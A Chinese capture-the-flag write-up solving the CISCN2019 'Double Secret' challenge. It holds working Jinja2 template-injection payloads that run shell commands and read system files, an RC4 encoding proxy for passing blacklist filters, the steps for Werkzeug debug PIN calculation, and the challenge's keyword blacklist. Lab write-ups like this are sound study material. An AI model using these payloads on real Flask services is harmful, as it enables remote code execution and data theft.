[CISCN2019 华东南赛区]Double Secret

看完直接信息搜集
出了一个secret,直接访问,提示传一个secret,对面会编码它
/secret?secret=1 d
/secret?secret=14aw d[XB
/secret?secret=12345 报错了,python的debug
这个debug就很有可玩的点了,计算pin码,源码泄露
可以看到的信息有

展开/app/app.py这个源码
File "/app/app.py", line 35, in secret
if(secret==None):
return 'Tell me your secret.I will encrypt it so others can\'t see'
rc=rc4_Modified.RC4("HereIsTreasure") #解密
deS=rc.do_crypt(secret)
a=render_template_string(safe(deS))
if 'ciscn' in a.lower():
return 'flag detected!'
return a一个rc4加密,如果secret为空就返回Tell me your secret.I will encrypt it so others can\'t see不为空就调用safe处理rc4编码后的值,返回字符串给a,如果a的小写包含ciscn则返回flag被删了,其余返回a,这里把rce的密钥也暴露出来了
jinjia的payload
#展示路径下的文件
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{c.__init__.__globals__['__builtins__']['__import__']('os').listdir('/')}}{% endif %}{% endfor %}
#读取文件
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag.txt').read()")}}{% endif %}{% endfor %}
{{cycler.next.__globals__.__builtins__.__import__('os').popen('nl /*').read()}}锤锤AI拿个RC4加密脚本,我们知道,要将payload加密以后才能传参过去。
def initialize_rc4_key(key):
key_length = len(key)
S = list(range(256))
j = 0
for i in range(256):
j = (j + S[i] + key[i % key_length]) % 256
S[i], S[j] = S[j], S[i]
return S
def rc4_encrypt(key, plaintext):
S = initialize_rc4_key(key)
i = j = 0
ciphertext = []
for char in plaintext:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
k = S[(S[i] + S[j]) % 256]
ciphertext.append(chr(ord(char) ^ k))
return ''.join(ciphertext)
def main():
key = input("请输入密钥: ")
plaintext = input("请输入要加密的字符串: ")
encrypted_text = rc4_encrypt(key, plaintext)
print("加密后的字符串: ", encrypted_text)
if __name__ == "__main__":
main()ok,接下来我们玩点骚的,继续锤AI,在本地flask起一个,POST交data,rc4加密后发给题目的url,将题目url回显到本地。
from flask import Flask, request, jsonify
import urllib.parse
import requests
app = Flask(__name__)
# RC4加密算法
def rc4_encrypt(key, data):
S = list(range(256))
j = 0
out = []
# 初始化S盒
for i in range(256):
j = (j + S[i] + ord(key[i % len(key)])) % 256
S[i], S[j] = S[j], S[i]
# 生成密钥流并加密
i = j = 0
for char in data:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
out.append(chr(ord(char) ^ S[(S[i] + S[j]) % 256]))
return ''.join(out)
@app.route('/', methods=['POST', 'GET'])
def handle_request():
if request.method == 'POST':
# 获取POST请求中的数据
data = request.form.get('data')
if data:
# 使用RC4加密数据
encrypted_data = rc4_encrypt('HereIsTreasure', data)
# 构造GET请求的URL
url = f'http://8bac6987-76e0-4569-8a95-5e53c13fb530.node5.buuoj.cn:81/secret?secret={urllib.parse.quote(encrypted_data)}'
# 发送GET请求
response = requests.get(url)
# 返回GET请求的响应内容
return response.text, response.status_code
else:
return jsonify({'status': 'error', 'message': 'No data provided'}), 400
elif request.method == 'GET':
# 获取GET请求中的secret参数
secret = request.args.get('secret')
if secret:
# 处理GET请求(根据实际情况添加处理逻辑)
# 这里我们只是返回接收到的secret
return f'Received secret: {secret}', 200
else:
return 'No secret provided', 200
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80, debug=False)之后就是常见的SSTI了,直接上fenjing梭哈就完了,查看app.py的时候发现报错了,应该是python2的原因,也可以用反弹shell,计算pin码
data={% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/sys/class/net/eth0/address','r').read() }}{% endif %}{% endfor %}
92:ab:45:07:68:11
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
#This .py gives flask ssti loophole
from flask import Flask
from flask import render_template
from flask import request
from flask import render_template_string
import rc4_Modified
app=Flask(__name__)
@app.route('/')
def hello():
return 'Welcome To Find Secret'
@app.route('/robots.txt')
def robots():
return 'It is Android ctf'
@app.route('/secret',methods=['GET','POST'])
def secret():
def safe(s):
black=['class','mro','subclasses','read','args','form','write', 'mro', '<', '>', '|', 'join' 'os', 'sys', 'pop', 'del', 'rm', 'eval', 'exec', 'ls', 'cat', ';', '&&', 'catch_warnings', 'func_globals', 'pickle', 'import', 'subprocess', 'commands', 'input', 'execfile', 'reload', 'compile', 'execfile', 'kill', 'func_code' ]
for i in black:
if i in s:
return '\''+i+'\' is not allowed. Secret is '+s
return s
secret=request.args.get('secret')
if(secret==None):
return 'Tell me your secret.I will encrypt it so others can\'t see'
rc=rc4_Modified.RC4("HereIsTreasure") #解密
deS=rc.do_crypt(secret)
a=render_template_string(safe(deS))
if 'ciscn' in a.lower():
return 'flag detected!'
return a
if __name__=='__main__':
app.run(
debug=True,
host="0.0.0.0"
)# -*- coding: utf-8 -*-
class RC4:
def __init__(self,public_key = None):
if not public_key:
public_key = 'none_public_key'
self.public_key = public_key
self.index_i = 0
self.index_j = 0
self._init_box()
def _init_box(self):
"""
初始化 置换盒
"""
self.Box = [i for i in range(256)]
key_length = len(self.public_key)
j = 0
for i in range(256):
index = ord(self.public_key[(i % key_length)])
j = (j + self.Box[i] + index ) % 256
self.Box[i],self.Box[j] = self.Box[j],self.Box[i]
# for i in range(256):
def do_crypt(self,string):
"""
加密/解密
string : 待加/解密的字符串
"""
out = []
test=[]
#print(len(string))
for s in string:
self.index_i = (self.index_i + 1) % 256
self.index_j = (self.index_j + self.Box[self.index_i]) % 256
self.Box[self.index_i], self.Box[self.index_j] = self.Box[self.index_j], self.Box[self.index_i]
r = (self.Box[self.index_i] + self.Box[self.index_j]) % 256
R = self.Box[r] # 生成伪随机数
tmp=ord(s)^R
test.append(tmp)
out.append(chr(tmp))
#print(test)
#print(len(test))
return ''.join(out) Thanks for reading!
